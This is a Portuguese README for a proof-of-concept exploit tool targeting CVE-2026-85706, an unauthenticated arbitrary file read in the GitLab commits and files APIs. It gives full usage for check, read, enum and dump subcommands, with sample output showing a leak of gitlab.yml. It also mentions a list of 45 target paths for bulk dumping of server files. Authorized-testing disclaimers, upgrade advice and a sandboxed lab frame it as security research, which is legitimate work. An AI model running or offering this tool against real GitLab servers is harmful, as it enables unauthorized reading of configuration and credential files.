
PoC para CVE-2026-85706: leitura arbitrária de arquivos locais sem autenticação no GitLab CE/EE
CVE-2026-85706 é uma vulnerabilidade crítica de path traversal / ausência de autenticação nas APIs
Repository Commits e Repository Files do GitLab CE/EE: um atacante não autenticado pode fazer o
servidor ler arquivos arbitrários e obter seu conteúdo através do canal de erro. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
O título oficial do GitLab é "Path Traversal issue in repository commits API impacts GitLab CE/EE". A correção foi lançada em 2026-09-10 nas versões 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Você usa um GitLab self-managed <= 19.3.1? Atualize para 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Apenas para uso autorizado. Execute esta ferramenta somente contra sistemas que você possui ou para os quais tem permissão explícita de teste.
Este repositório contém uma prova de conceito independente, um laboratório de reprodução mínimo e uma análise técnica completa:
Nenhum dado capturado de sistemas de terceiros está incluído.
# terminal 1 - a partir da raiz do repositório
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - a partir da raiz do repositório
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
O laboratório escuta apenas em 127.0.0.1 e lê somente dentro do seu sandbox lab/vault/, portanto nunca
pode tocar arquivos na sua máquina real.
# a partir da raiz do repositório (`cd lab && docker compose up -d` também funciona)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# a partir da raiz do repositório
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Adicione --insecure para certificados autoassinados, e prefira o id numérico do projeto em vez de um
caminho codificado (--project <id> em vez de group%2Fproject).
| Comando | Propósito | Opções principais |
|---|---|---|
check | O alvo é vulnerável? Compara as respostas de cada vetor de bypass | --canary-path, --no-bypass-probe |
read | Lê um arquivo e informa se seu conteúdo vaza | --file <path>, --media <type> |
enum | Sonda uma lista de caminhos e classifica cada um | --wordlist, --wordlist-file |
dump | Salva cada arquivo legível em disco, com um manifesto e as respostas brutas | --files, --files-file, --outdir |
Os rótulos impressos por check:
| Rótulo | Caminho da requisição |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - o alvo é vulnerável?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Códigos de saída: 0 = vulnerável; 1 = não explorável com os vetores testados (corrigido, ou a rota inacessível).
Dois detalhes que vale a pena conhecer:
Workhorse bypass probe é a prova de roteamento: file só existe quando o Workhorse fez o
buffer e assinou o corpo, então um 400 {"error":"file is missing"} prova que a rota de bypass pulou
esse pipeline enquanto ainda alcançava a API. Em uma build corrigida, essa última linha mostra HTTP 401.commits-canonical -> 401) é o caso de controle: ali o Workhorse reescreve
file.path, então o valor do atacante nunca chega ao código vulnerável.read - ler um único arquivo$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Códigos de saída: 0 = conteúdo divulgado, ou uma leitura pré-autenticação confirmada pela linha de base; 1 = nenhuma leitura pré-autenticação observada.
enum / dump - sondagem em massapython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt traz 45 caminhos interessantes de GitLab/Linux; --wordlist / --files podem ser
fornecidos inline ou via arquivo, e ambas as formas podem ser combinadas. Esses são os únicos dois
subcomandos que tocam conteúdos reais de arquivos - grave a saída fora deste repositório e nunca publique
o que eles capturarem.
| Opção | Significado |
|---|---|
--url <base URL> | URL base do alvo (obrigatória) |
--project <id or encoded path> | Id de projeto público (123) ou caminho codificado para URL (group%2Fproject), obrigatório |
--token <PRIVATE-TOKEN> | Opcional; testa o caminho autenticado |
--insecure | Ignora a verificação TLS (certificados autoassinados) |
-v, --verbose | Imprime cada requisição/resposta em stderr |
--canary-path <path> | Caminho garantidamente inexistente usado como linha de base da vulnerabilidade |
--color <mode> | auto (padrão, cores em um terminal real), always, never |
A ordem das opções importa: opções compartilhadas vão depois do subcomando - check --url ... --insecure,
não --url ... check.
| Teste | Resultado |
|---|---|
Controle corrigido - gitlab.com, 19.3.2+ | Todo vetor retorna 401; a única outra resposta é o 400 {"error":"file is missing"} que prova o bypass de roteamento |
Laboratório local - lab/vulnerable_api.py | Reproduz o bug de confiança do lado do Rails de ponta a ponta; --patched fornece a build de comparação |
| Instância self-managed real - 19.3.1, autorização por escrito | Vulnerabilidade confirmada; detalhes de host e projeto deliberadamente não publicados aqui. Resultados agregados em ANALYSIS.md, seção 4.3 |
Este material é fornecido para pesquisa de segurança e testes autorizados - seu próprio laboratório, um programa de bug bounty, ou um teste de penetração com permissão por escrito. Use-o somente contra sistemas que você possui ou tem permissão explícita de testar. Acesso não autorizado a sistemas de terceiros é ilegal. Fornecido como está, sem garantia de qualquer tipo.